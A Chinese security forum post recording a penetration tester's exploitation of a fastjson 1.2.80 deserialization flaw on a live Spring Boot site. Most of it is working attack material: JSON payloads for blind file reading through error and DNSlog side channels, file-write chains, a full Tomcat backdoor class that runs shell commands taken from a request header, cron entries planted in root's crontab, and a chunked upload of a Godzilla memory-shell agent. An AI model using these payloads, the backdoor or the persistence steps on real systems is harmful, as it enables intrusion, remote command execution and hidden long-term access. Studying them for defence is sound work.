问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
fastjson1.2.80 in Springtboot实网利用记录
渗透测试
最近少有的一次顺利的RCE,虽有波折,但最终还是拿到了
前言 == 攻防碰到的一个站有fastjson,看着版本其实挺高的。  这里存在一个问题,参照之前的文章,payload是需要有布尔部分的,或者说返回json的解析结果,但是此次是不存在布尔 添加缓存,爆破字节1-256无明显的差异,但是确实存在这个80的链,返回了报错是不存在的文件  1-256爆破  80error获取 ========= 这是看到了之前大佬的一篇 <https://mp.weixin.qq.com/s/esjHYVm5aCJfkT6I1D0uTQ>   报错分析 ---- 文章中提到的报错payload如下: ```php { "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///tmp/test" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 98 ] } ] }, "address" : { "@type": "java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence": { "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]" }, "start": 0, "end": 0 } } ``` ### $ref <https://godownio.github.io/2024/10/24/fastjson-ref-diao-yong-getter/>  这里代码对应的是CharSequenceReader(CharSequence charSequence, int start, int end)  这里是java.lang.CharSequence,而当字节存在时候,返回的是ByteOrderMark  所以对象不匹配报错。 80payload --------- 这个payload是68的,我们根据80的规律改成80payload如下 ```php { "a": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "${file}" }, "charsetName": "UTF-8", "bufferSize": "1024" }, "boms": [ { "charsetName": "UTF-8", "bytes": ${data} } ] }, "b" :{ "$ref":"$.a.BOM[0]"} } ``` 原始payload --------- 原始payload是需要返回json解析的  针对实际情况,则无法获取到差异,取的是里面的BOMInputStream,所以不管是否比对成功,返回的都是BOMInputStream对象。   改后的payload ---------- 这里取的是BOMInputStream对象里面的BOM,getBOM()     上图包中字节比对成功返回了ByteOrderMark对象,不成功返回的是null  80error的寻找 ---------- 在68中,我们通过将ByteOrderMark赋值到CharSequenceReader导致对象不匹配报错,但是在80中我们只拿到了inputstream,我们无法使用CharSequenceReader,所以需要另外找一个触发报错的地方。 这里我们到回我们读字节的payload  接收的是Reader对象   这是个完美触发报错的地方,所以我们根据payload改成下面的 ```php { "a": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "${file}" }, "charsetName": "UTF-8", "bufferSize": "1024" }, "boms": [ { "charsetName": "UTF-8", "bytes": ${data} } ] }, "b" :{ "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"$ref":"$.a.BOM[0]"}, "charsetName": "UTF-8", "bufferSize": "1024" }, "boms": [ { "charsetName": "UTF-8", "bytes": [97] } ] } } ``` 字节匹配没成功,返回的是BOMInputStream对象  当字节匹配成功时候,$.username.BOM\[0\]会调用到上面的username部分getBOM获取到ByteOrderMark并赋值给ReaderInputStream里面的reader导致对象类型不匹配报错   实际环境的利用 ------- 回到最初的问题,那个站是可以报错,所以我们使用这个payload尝试  114是r  80DNSlog ======== 大佬文章同样提到了dns的方式  所以我们继续拼接 ```php { "a": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "${file}" }, "charsetName": "UTF-8", "bufferSize": "1024" }, "boms": [ { "charsetName": "UTF-8", "bytes": ${data} } ] }, "b" :{ "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"$ref":"$.a.BOM[0]"}, "charsetName": "UTF-8", "bufferSize": "1024" }, "boms": [ { "charsetName": "UTF-8", "bytes": [1] } ] }, "c": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "${dns}" }, "charsetName": "UTF-8", "bufferSize": "1024" }, "boms": [ { "charsetName": "UTF-8", "bytes": [1] } ] }, "zzz":{"$ref":"$.c.BOM[0]"} } ``` 当字节不匹配的时候会进行dnslog请求,存在则不会  68读文件 ===== 在大佬那篇文章都已经写出来了,所以在这里不看了,直接放payload 返回json读 ------- ```php { "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///tmp/" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ ... ] } ] }, "address" : {"$ref":"$.abc.BOM"} } ``` error读 ------ ```php { "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///tmp/test" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 98 ] } ] }, "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0} } ``` dnslog读 ------- ```php { "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///tmp/test" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 98 ] } ] }, "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}, "xxx": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "http://aaaxasd.g2pbiw.dnslog.cn/" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}] }, "zzz":{"$ref":"$.xxx.BOM[0]"} } ``` 写文件 === 原版payload --------- ```php { "a": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.AutoCloseInputStream", "in": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "@type": "org.apache.commons.io.input.CharSequenceInputStream", "cs": { "@type": "java.lang.String" "${shellcode}", "charset": "iso-8859-1", "bufferSize": ${size} }, "branch": { "@type": "org.apache.commons.io.output.WriterOutputStream", "writer": { "@type": "org.apache.commons.io.output.LockableFileWriter", "file": "${file2write}", "charset": "iso-8859-1", "append": true }, "charset": "iso-8859-1", "bufferSize": 1024, "writeImmediately": true }, "closeBranch": true } }, "b": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 }, "c": {} } ``` 用java代码写大概是这样的 ```php String shellcode="shellcode"; int size = 1024; // 缓冲区大小 CharSequenceInputStream inputStream = new CharSequenceInputStream(shellcode, "ISO-8859-1", size); LockableFileWriter lockableFileWriter = new LockableFileWriter(new File("PocException5.txt"),"iso-8859-1",true,"tmp"); WriterOutputStream writerOutputStream = new WriterOutputStream(lockableFileWriter,"iso-8859-1",1024,true); TeeInputStream teeInputStream = new TeeInputStream(inputStream,writerOutputStream,true); AutoCloseInputStream autoCloseInputStream = new AutoCloseInputStream(teeInputStream); InputStream inputStream1 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream,"text/xml",false,"iso-8859-1"),"iso-8859-1",1024); ```  这个原版poc每次写入的字节有限,需要通过循环追加字节的方式来进行,但是如果存在丢包情况,就会导致文件写入的不完整。 网上看到了大佬的文章: <https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA> 这里面也介绍了多个写入的方法。 80写文件-io6-一次性写入 --------------- ```php { "a": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.AutoCloseInputStream", "in": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "@type": "org.apache.commons.io.input.CharSequenceInputStream", "cs": { "@type": "java.lang.String" "\xCA\xFE\xBA\xBExxxxxxxxxxxxxxxx", "charset": "iso-8859-1", "bufferSize": 1024 }, "branch": { "@type": "org.apache.commons.io.output.WriterOutputStream", "writer": { "@type": "org.apache.commons.io.output.LockableFileWriter", "file": "/tmp/tomcat-docbase.9999.6522870832081637972/WEB-INF/classes/Tomcat678910cmdechoException.class", "charset": "iso-8859-1", "append": true }, "charsetName": "iso-8859-1", "bufferSize": 1024, "writeImmediately": true }, "closeBranch": true } }, "b": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 }, "c": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 } } ``` 这里其实是连着写入两次,在发两次包的情况下是可以写入大文件的。转java代码也是,连着写两次就行了。 ```php String shellcode="shellcode"; int size = 1024; // 缓冲区大小 CharSequenceInputStream inputStream = new CharSequenceInputStream(shellcode, "ISO-8859-1", size); LockableFileWriter lockableFileWriter = new LockableFileWriter(new File("PocException5.txt"),"iso-8859-1",true,"tmp"); WriterOutputStream writerOutputStream = new WriterOutputStream(lockableFileWriter,"iso-8859-1",1024,true); TeeInputStream teeInputStream = new TeeInputStream(inputStream,writerOutputStream,true); AutoCloseInputStream autoCloseInputStream = new AutoCloseInputStream(teeInputStream); InputStream inputStream1 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream,"text/xml",false,"iso-8859-1"),"iso-8859-1",1024); InputStream inputStream2 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream,"text/xml",false,"iso-8859-1"),"iso-8859-1",1024); ```  改68写文件-win本地成功 -------------- ```php { "a": { "@type": "java.lang.AutoCloseable", "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.AutoCloseInputStream", "in": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "@type": "org.apache.commons.io.input.CharSequenceInputStream", "cs": { "@type": "java.lang.String" "\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE", "charset": "iso-8859-1", "bufferSize": 1024 }, "branch": { "@type": "org.apache.commons.io.output.WriterOutputStream", "writer": { "@type": "org.apache.commons.io.output.LockableFileWriter", "file": "/Tomcat678910cmdechoException.class", "charset": "iso-8859-1", "append": true }, "charsetName": "iso-8859-1", "bufferSize": 1024, "writeImmediately": true }, "closeBranch": true } }, "b": { "@type": "java.lang.AutoCloseable", "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 }, "c": { "@type": "java.lang.AutoCloseable", "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 } } ```  改68-linux-centos7-jdk8-成功 ------------------------- ```php { "a": { "@type": "java.lang.AutoCloseable", "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.AutoCloseInputStream", "in": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "@type": "org.apache.commons.io.input.CharSequenceInputStream", "cs": { "@type": "java.lang.String" "\xca\xfe\xba\xbe\x00\x00\x00\x34\x01\x25\......", "charset": "iso-8859-1", "bufferSize": 1024 }, "branch": { "@type": "org.apache.commons.io.output.WriterOutputStream", "writer": { "@type": "org.apache.commons.io.output.LockableFileWriter", "file": "/tmp/tomcat-docbase.8030.8215887670667530269/WEB-INF/classes/com/example/poc/PocException.class", "charset": "iso-8859-1", "append": true, "String":"/tmp/test" }, "charset": "iso-8859-1", "bufferSize": 1024, "writeImmediately": true }, "closeBranch": true } }, "b": { "@type": "java.lang.AutoCloseable", "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 }, "c": { "@type": "java.lang.AutoCloseable", "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 } } ``` ### tomcatecho ```php package com.example.poc; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Scanner; public class PocException extends Exception { static { run(); } public PocException() { } public PocException(String str) { super(str); } public PocException(String str, Throwable th) { super(str, th); } public PocException(Throwable th) { super(th); } protected PocException(String str, Throwable th, boolean z, boolean z2) { super(str, th, z, z2); } private static String getReqHeaderName() { return "Accept-Lrezx"; } private static void run() { try { Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[])(new Class[0])); var0.setAccessible(true); Thread[] var1 = (Thread[])((Thread[])((Thread[])var0.invoke((Object)null))); for(int var2 = 0; var2 < var1.length; ++var2) { if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) { Field var3 = var1[var2].getClass().getDeclaredField("target"); var3.setAccessible(true); Object var4 = var3.get(var1[var2]); try { var3 = var4.getClass().getDeclaredField("endpoint"); } catch (NoSuchFieldException var14) { var3 = var4.getClass().getDeclaredField("this$0"); } var3.setAccessible(true); var4 = var3.get(var4); try { var3 = var4.getClass().getDeclaredField("handler"); } catch (NoSuchFieldException var13) { try { var3 = var4.getClass().getSuperclass().getDeclaredField("handler"); } catch (NoSuchFieldException var12) { var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); } } var3.setAccessible(true); var4 = var3.get(var4); try { var3 = var4.getClass().getDeclaredField("global"); } catch (NoSuchFieldException var11) { var3 = var4.getClass().getSuperclass().getDeclaredField("global"); } var3.setAccessible(true); var4 = var3.get(var4); var4.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo"); if (var4.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) { var3 = var4.getClass().getDeclaredField("processors"); var3.setAccessible(true); ArrayList var5 = (ArrayList)var3.get(var4); for(int var6 = 0; var6 < var5.size(); ++var6) { var3 = var5.get(var6).getClass().getDeclaredField("req"); var3.setAccessible(true); var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1); try { String var7 = (String)var3.get(var5.get(var6)).getClass().getMethod("getHeader", String.class).invoke(var3.get(var5.get(var6)), getReqHeaderName()); if (var7 != null) { Object response = var4.getClass().getDeclaredMethod("getResponse").invoke(var4); Writer writer = (Writer)response.getClass().getMethod("getWriter").invoke(response); writer.write(exec(var7)); writer.flush(); writer.close(); break; } } catch (Exception var15) { } } } } } } catch (Throwable var16) { } } private static String exec(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = (new Scanner(in)).useDelimiter("\\a"); String execRes; for(execRes = ""; s.hasNext(); execRes = execRes + s.next()) { } return execRes; } catch (Exception var8) { return var8.getMessage(); } } } ```  回到应用 ==== 非常可惜,最终爆破tmp目录没有拿到docbase文件  计划任务写入 ------ 这里其实回到开始的地方,写入文件是追加的,所以这里选择追加计划任务,因为本身环境是不出网环境,所以选择agent注入内存马。 centos /var/spool/cron/root ```php * * * * * [ ! -f /tmp/out1.txt ] && ps -ef | grep xxxx.jar > /tmp/out1.txt ``` 这里读取out1获取pid 写入agent马 -------- 写入poc每次只能写入8192左右的字节,会比8192多几十字节左右,agent大多数是400-500kb,如果像是mcp那种的,可能会有3-5m多。 比如StringUtil.jar有889718个字节,除以8192就是  循环ReaderInputStream 108次即可 ```php POST /login_json HTTP/1.1 Host: 172.16.232.231:8030 User-Agent: python-requests/2.27.1 Accept-Encoding: gzip, deflate Accept: */* Content-Length: 3560742 { "a": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.AutoCloseInputStream", "in": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "@type": "org.apache.commons.io.input.CharSequenceInputStream", "cs": { "@type": "java.lang.String" "\x50\x4b\x03\x04\x9e\x41\x93\xf6\x22\x75\x83.........", "charset": "iso-8859-1", "bufferSize": 1024 }, "branch": { "@type": "org.apache.commons.io.output.WriterOutputStream", "writer": { "@type": "org.apache.commons.io.output.LockableFileWriter", "file": "/StringUtil.jar", "charset": "iso-8859-1", "append": true }, "charset": "iso-8859-1", "bufferSize": 1024, "writeImmediately": true }, "closeBranch": true } }, "b": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 }, "c": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 }, "c": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 }, "c": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 }, ....... } ``` 这里的原因我看像是在XmlStreamReader#getXmlProlog  本地尝试io6一次性写入的payload的时候,大于8kb内容时候只会写入8kb内容  这里采用MemShellParty 生成gsl-agent传入应用中,追加计划任务如下 ```php * * * * * [ ! -f /tmp/out2.txt ] && java -jar /tmp/TomcatGodzillaMemShellAgent.jar pid > /tmp/out2.txt ``` 读取out2.txt   临时目录就是在tmp目录里面,但是那个貌似被删了,搞的我迂回这么久   马老师的红.jpg 参考链接: [Squirt1e's blog](https://squirt1e.top/2024/11/08/fastjson-1.2.80-springboot-xin-lian/) [luelueking/CVE-2022-25845-In-Spring: CVE-2022-25845(fastjson1.2.80) exploit in Spring Env!](https://github.com/luelueking/CVE-2022-25845-In-Spring) [Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg) [springboot环境下的写文件RCE](https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA)
发表于 2025-07-11 09:00:00
阅读 ( 1346 )
分类:
渗透测试
0 推荐
收藏
0 条评论
请先
登录
后评论
ZccAcc
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!